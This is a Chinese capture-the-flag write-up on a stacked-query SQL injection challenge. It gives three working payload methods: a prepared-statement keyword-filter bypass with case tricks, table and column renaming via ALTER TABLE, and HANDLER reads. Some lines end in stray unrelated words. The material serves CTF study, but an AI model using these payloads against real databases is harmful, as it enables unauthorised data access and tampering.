方法一:sql
1.輸入1’發現不回顯,而後1’ #顯示正常,應該是存在sql注入了函數
2.order by 2的時候是正常回顯了,order by 3就出錯了,只有2個字段,這時候用union select進行聯合查詢,發現關鍵字被正則過濾spa
3.嘗試堆疊注入3d
-1';show tables --+blog
4.查看字段,io
-1';show columns from `1919810931114514` --+編譯
-1';show columns from `words` --+table
5.查看值,須要繞過select的限制,咱們能夠使用預編譯的方式select
-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#語法
拆分開來以下:
-1';
set @sql = CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt; #
6.這裏用strstr函數過濾了set和prepare關鍵詞,但strstr這個函數並不能區分大小寫,咱們將其大寫便可。
-1';sEt @sql = CONCAT('se','lect * from `1919810931114514`;');prEpare stmt from @sql;EXECUTE stmt;#
方法二:
1.由上面的探測咱們能夠猜想出這裏會查詢出words表的data列的結果。也就是相似於下面的sql語句:
select * from words where id = '';
2.咱們將表1919810931114514名字改成words,flag列名字改成id,那麼就能獲得flag的內容了。
修改表名和列名的語法以下:
修改表名(將表名user改成users)alter table user rename to users;
修改列名(將字段名username改成name)alter table users change uesrname name varchar(30);
3.最終payload以下:
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
拆分開來以下:
1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);
#
4.而後使用1' or 1=1#便可查詢出flag
方法三:
使用handler查詢,payload以下:
-1';handler `1919810931114514` open;handler `1919810931114514` read first;#